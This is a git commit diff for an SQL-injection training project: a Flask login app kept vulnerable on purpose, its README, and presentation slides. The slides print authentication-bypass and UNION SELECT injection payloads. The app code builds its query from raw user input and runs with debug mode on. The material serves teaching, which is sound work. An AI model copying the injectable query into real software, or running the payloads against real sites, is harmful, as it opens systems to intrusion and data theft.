added some more information to the presentation, linting of code for the example implemenation
This commit is contained in:
		
							parent
							
								
									0e2175a8fc
								
							
						
					
					
						commit
						f1a8b2cbeb
					
				| 
						 | 
				
			
			@ -1,9 +1,9 @@
 | 
			
		|||
# Example project of a website including an SQL injection 
 | 
			
		||||
 | 
			
		||||
This implementation is meant to be used for training purposes.
 | 
			
		||||
Do not use the code in production or development.
 | 
			
		||||
Do not use this code in production or as a blueprint for development!
 | 
			
		||||
 | 
			
		||||
## Usage
 | 
			
		||||
## Installation
 | 
			
		||||
 | 
			
		||||
Use python poetry to install dependencies in the following way.
 | 
			
		||||
 | 
			
		||||
| 
						 | 
				
			
			@ -11,6 +11,20 @@ Use python poetry to install dependencies in the following way.
 | 
			
		|||
poetry install
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Dependencies can be found inside the `./pyproject.toml` file.
 | 
			
		||||
 | 
			
		||||
After installation has been done, start the flask server.
 | 
			
		||||
 | 
			
		||||
### Usage
 | 
			
		||||
 | 
			
		||||
```sh
 | 
			
		||||
poetry run python3 ./flask_sqli.py
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Now, the website is accessible at [localhost:5000](http://localhost:5000/)
 | 
			
		||||
 | 
			
		||||
### Manual Installation
 | 
			
		||||
 | 
			
		||||
If you want to install the dependencies manually use a venv in the following way.
 | 
			
		||||
 | 
			
		||||
```sh
 | 
			
		||||
| 
						 | 
				
			
			@ -19,12 +33,11 @@ source venv/bin/activate
 | 
			
		|||
pip install flask
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Dependencies can be found inside the `./pyproject.toml` file.
 | 
			
		||||
### Usage after manual installation
 | 
			
		||||
 | 
			
		||||
After installation has been done, start the flask server.
 | 
			
		||||
Start the flask server without poetry in the following way.
 | 
			
		||||
 | 
			
		||||
```sh
 | 
			
		||||
poetry run python3 ./flask_sqli.py
 | 
			
		||||
source venv/bin/activate
 | 
			
		||||
python3 ./flask_sqli.py
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Now, the website is accessible at [localhost:5000](http://localhost:5000/)
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
| 
						 | 
				
			
			@ -1,9 +1,10 @@
 | 
			
		|||
from flask import Flask, request, render_template
 | 
			
		||||
from flask import Flask, flash, request, render_template
 | 
			
		||||
import sqlite3
 | 
			
		||||
 | 
			
		||||
app = Flask(__name__)
 | 
			
		||||
app.secret_key = 'secret_key'
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
def db_connection():
 | 
			
		||||
    conn = sqlite3.connect('users.db')
 | 
			
		||||
    c = conn.cursor()
 | 
			
		||||
| 
						 | 
				
			
			@ -21,23 +22,27 @@ def login():
 | 
			
		|||
    password = request.form['password']
 | 
			
		||||
 | 
			
		||||
    # Vulnerable code with SQL injection vulnerability
 | 
			
		||||
    query = "SELECT * FROM users WHERE username='" + username + "' AND \
 | 
			
		||||
    password='" + password + "'"
 | 
			
		||||
    query = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" \
 | 
			
		||||
        % (username, password)
 | 
			
		||||
 | 
			
		||||
    c = db_connection()
 | 
			
		||||
    c.execute(query)
 | 
			
		||||
    user = c.fetchone()
 | 
			
		||||
    # YOU CAN ALSO WRITE IT LIKE THIS:
 | 
			
		||||
    # query = "SELECT * FROM users WHERE username='" + username + "' AND \
 | 
			
		||||
    # password='" + password + "'"
 | 
			
		||||
 | 
			
		||||
    try:
 | 
			
		||||
        c = db_connection()
 | 
			
		||||
        c.execute(query)
 | 
			
		||||
        user = c.fetchone()
 | 
			
		||||
 | 
			
		||||
        if user:
 | 
			
		||||
            login_failed = False
 | 
			
		||||
            return render_template('profile.html')
 | 
			
		||||
        else:
 | 
			
		||||
            login_failed = True
 | 
			
		||||
            return render_template('login.html', login_failed=login_failed, error_message=user)
 | 
			
		||||
            return render_template('login.html', login_failed=login_failed)
 | 
			
		||||
    except sqlite3.Error as e:
 | 
			
		||||
        flash(f"{e}")
 | 
			
		||||
        return render_template('login.html')
 | 
			
		||||
        return render_template('login.html', error=e)
 | 
			
		||||
 | 
			
		||||
if __name__ == '__main__':
 | 
			
		||||
    app.run(host='0.0.0.0', debug=True)
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
| 
						 | 
				
			
			@ -5,7 +5,7 @@
 | 
			
		|||
          {% with messages = get_flashed_messages(with_categories=True) %}
 | 
			
		||||
            {% if messages %}
 | 
			
		||||
              {% for category, message in messages %}
 | 
			
		||||
                <div class="alert alert-{{ category }}">
 | 
			
		||||
                <div class="alert alert-{{ category }}" style="text-align:center;">
 | 
			
		||||
                    <h5>{{ message }}</h5>
 | 
			
		||||
                </div>
 | 
			
		||||
              {% endfor %}
 | 
			
		||||
| 
						 | 
				
			
			@ -25,7 +25,4 @@
 | 
			
		|||
            <input type="submit" value="Login">
 | 
			
		||||
        </form>
 | 
			
		||||
    </div>
 | 
			
		||||
    {% if error_message %}
 | 
			
		||||
        {{ error_message }}
 | 
			
		||||
    {% endif %}
 | 
			
		||||
{% endblock info %}
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
| 
						 | 
				
			
			@ -126,17 +126,19 @@ Next Presentation</li>
 | 
			
		|||
<div class="sourceCode" id="cb1"><pre
 | 
			
		||||
class="sourceCode python"><code class="sourceCode python"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a>sql_query <span class="op">=</span></span>
 | 
			
		||||
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a>  cursor.execute(</span>
 | 
			
		||||
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a>    <span class="st">"SELECT * FROM user_data where username = 'admin' and password = 's3cur3P4ssw0rd'"</span></span>
 | 
			
		||||
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a>  )</span></code></pre></div>
 | 
			
		||||
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a>    <span class="st">"SELECT * FROM users WHERE username = 'admin' </span><span class="ch">\</span></span>
 | 
			
		||||
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a><span class="st">    AND password = 's3cur3P4ssw0rd'"</span></span>
 | 
			
		||||
<span id="cb1-5"><a href="#cb1-5" aria-hidden="true" tabindex="-1"></a>  )</span></code></pre></div>
 | 
			
		||||
</section>
 | 
			
		||||
<section class="slide level1">
 | 
			
		||||
 | 
			
		||||
<h3 id="number-2">Number 2</h3>
 | 
			
		||||
<p>User input is possible as a part of said SQL query</p>
 | 
			
		||||
<p>User input is possible as a string and is a part of said SQL
 | 
			
		||||
query</p>
 | 
			
		||||
<div class="sourceCode" id="cb2"><pre
 | 
			
		||||
class="sourceCode python"><code class="sourceCode python"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a>sql_query <span class="op">=</span></span>
 | 
			
		||||
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a>  cursor.execute(</span>
 | 
			
		||||
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a>    <span class="st">"SELECT * FROM user_data where username = '</span><span class="sc">%s</span><span class="st">' and password = '</span><span class="sc">%s</span><span class="st">'"</span>,</span>
 | 
			
		||||
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a>    <span class="st">"SELECT * FROM users WHERE username = '</span><span class="sc">%s</span><span class="st">' AND password = '</span><span class="sc">%s</span><span class="st">'"</span> \</span>
 | 
			
		||||
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a>    <span class="op">%</span> (username, password)</span>
 | 
			
		||||
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a>  )</span></code></pre></div>
 | 
			
		||||
</section>
 | 
			
		||||
| 
						 | 
				
			
			@ -149,6 +151,58 @@ Injection</h2>
 | 
			
		|||
<li class="fragment">Continue the query with your own SQL code</li>
 | 
			
		||||
</ul>
 | 
			
		||||
</section>
 | 
			
		||||
<section class="slide level1">
 | 
			
		||||
 | 
			
		||||
<h3 id="crafting-an-sql-query">Crafting an SQL Query</h3>
 | 
			
		||||
<blockquote>
 | 
			
		||||
<div class="sourceCode" id="cb3"><pre
 | 
			
		||||
class="sourceCode sql"><code class="sourceCode sql"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="st">' or '</span><span class="dv">1</span><span class="st">'='</span><span class="dv">1</span><span class="st">' -- -</span></span></code></pre></div>
 | 
			
		||||
</blockquote>
 | 
			
		||||
<ul>
 | 
			
		||||
<li class="fragment">Close the existing string with: <code>'</code></li>
 | 
			
		||||
<li class="fragment">Write a query that equals to True:
 | 
			
		||||
<code>1=1</code></li>
 | 
			
		||||
<li class="fragment">End the SQL query through a comment:
 | 
			
		||||
<code>-- -</code></li>
 | 
			
		||||
</ul>
 | 
			
		||||
</section>
 | 
			
		||||
<section class="slide level1">
 | 
			
		||||
 | 
			
		||||
<h3 id="what-does-the-query-look-like">What Does the Query Look
 | 
			
		||||
Like</h3>
 | 
			
		||||
<div class="sourceCode" id="cb4"><pre
 | 
			
		||||
class="sourceCode sql"><code class="sourceCode sql"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="kw">SELECT</span> <span class="op">*</span> <span class="kw">FROM</span> users <span class="kw">WHERE</span> username <span class="op">=</span> <span class="st">''</span> <span class="kw">or</span> <span class="st">'1'</span> <span class="op">=</span> <span class="st">'1'</span> <span class="co">-- - AND password '%s'</span></span></code></pre></div>
 | 
			
		||||
<p><em>Numbers as strings is an SQLite specific thing</em></p>
 | 
			
		||||
</section>
 | 
			
		||||
<section class="slide level1">
 | 
			
		||||
 | 
			
		||||
<h3 id="other-queries">Other Queries</h3>
 | 
			
		||||
<div class="sourceCode" id="cb5"><pre
 | 
			
		||||
class="sourceCode sql"><code class="sourceCode sql"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="st">' UNION SELECT '</span>a<span class="st">',NULL,NULL,NULL -- -</span></span>
 | 
			
		||||
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a><span class="st">'</span> <span class="kw">UNION</span> <span class="kw">SELECT</span> <span class="op">*</span> <span class="kw">FROM</span> users <span class="kw">WHERE</span> user_id <span class="op">=</span> <span class="dv">1</span> <span class="co">-- -</span></span>
 | 
			
		||||
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a><span class="st">' UNION SELECT * FROM users WHERE user_id != 1337 -- -</span></span></code></pre></div>
 | 
			
		||||
</section>
 | 
			
		||||
<section class="slide level1">
 | 
			
		||||
 | 
			
		||||
<h2 id="even-more-injection-queries">Even More Injection Queries</h2>
 | 
			
		||||
<ul>
 | 
			
		||||
<li class="fragment"><a
 | 
			
		||||
href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection">PayloadsAllTheThings</a></li>
 | 
			
		||||
<li class="fragment"><a
 | 
			
		||||
href="https://book.hacktricks.xyz/pentesting-web/sql-injection">Hacktricks
 | 
			
		||||
SQL Injection Page</a></li>
 | 
			
		||||
<li class="fragment"><a
 | 
			
		||||
href="https://github.com/sqlmapproject/sqlmap">SQLMap</a></li>
 | 
			
		||||
</ul>
 | 
			
		||||
</section>
 | 
			
		||||
<section class="slide level1">
 | 
			
		||||
 | 
			
		||||
<h2 id="try-for-yourself">Try for Yourself</h2>
 | 
			
		||||
<p>Use the provided <a href="./example">example</a> inside this
 | 
			
		||||
presentation’s repository. There is a <a
 | 
			
		||||
href="./example/README.md">readme</a> which guides you through the
 | 
			
		||||
setup.</p>
 | 
			
		||||
</section>
 | 
			
		||||
<section id="the-end" class="slide level1">
 | 
			
		||||
<h1>The End</h1>
 | 
			
		||||
<p><img src="./images/exploits_of_a_mom.png" alt="Convoluted Code" width="50%" height="auto%"></p>
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
| 
						 | 
				
			
			@ -25,7 +25,8 @@ An SQL Query as a string embedded in other languages
 | 
			
		|||
```python
 | 
			
		||||
sql_query =
 | 
			
		||||
  cursor.execute(
 | 
			
		||||
    "SELECT * FROM user_data where username = 'admin' and password = 's3cur3P4ssw0rd'"
 | 
			
		||||
    "SELECT * FROM users WHERE username = 'admin' \
 | 
			
		||||
    AND password = 's3cur3P4ssw0rd'"
 | 
			
		||||
  )
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
| 
						 | 
				
			
			@ -33,12 +34,12 @@ sql_query =
 | 
			
		|||
 | 
			
		||||
### Number 2
 | 
			
		||||
 | 
			
		||||
User input is possible as a part of said SQL query
 | 
			
		||||
User input is possible as a string and is a part of said SQL query
 | 
			
		||||
 | 
			
		||||
```python
 | 
			
		||||
sql_query =
 | 
			
		||||
  cursor.execute(
 | 
			
		||||
    "SELECT * FROM user_data where username = '%s' and password = '%s'",
 | 
			
		||||
    "SELECT * FROM users WHERE username = '%s' AND password = '%s'" \
 | 
			
		||||
    % (username, password)
 | 
			
		||||
  )
 | 
			
		||||
```
 | 
			
		||||
| 
						 | 
				
			
			@ -52,6 +53,53 @@ sql_query =
 | 
			
		|||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### Crafting an SQL Query
 | 
			
		||||
 | 
			
		||||
>```sql
 | 
			
		||||
>' or '1'='1' -- -
 | 
			
		||||
>```
 | 
			
		||||
 | 
			
		||||
* Close the existing string with: `'`
 | 
			
		||||
* Write a query that equals to True: `1=1`
 | 
			
		||||
* End the SQL query through a comment: `-- -`
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### What Does the Query Look Like
 | 
			
		||||
 | 
			
		||||
```SQL
 | 
			
		||||
SELECT * FROM users WHERE username = '' or '1' = '1' -- - AND password '%s'
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
*Numbers as strings is an SQLite specific thing*
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### Other Queries
 | 
			
		||||
 | 
			
		||||
```sql
 | 
			
		||||
' UNION SELECT 'a',NULL,NULL,NULL -- -
 | 
			
		||||
' UNION SELECT * FROM users WHERE user_id = 1 -- -
 | 
			
		||||
' UNION SELECT * FROM users WHERE user_id != 1337 -- -
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Even More Injection Queries
 | 
			
		||||
 | 
			
		||||
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 | 
			
		||||
* [Hacktricks SQL Injection Page](https://book.hacktricks.xyz/pentesting-web/sql-injection)
 | 
			
		||||
* [SQLMap](https://github.com/sqlmapproject/sqlmap)
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Try for Yourself
 | 
			
		||||
 | 
			
		||||
Use the provided [example](./example) inside this presentation's repository.
 | 
			
		||||
There is a [readme](./example/README.md) which guides you through the setup.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
# The End
 | 
			
		||||
 | 
			
		||||
<img src="./images/exploits_of_a_mom.png" alt="Convoluted Code" width="50%" height="auto%">
 | 
			
		||||
| 
						 | 
				
			
			
 | 
			
		|||
		Loading…
	
		Reference in New Issue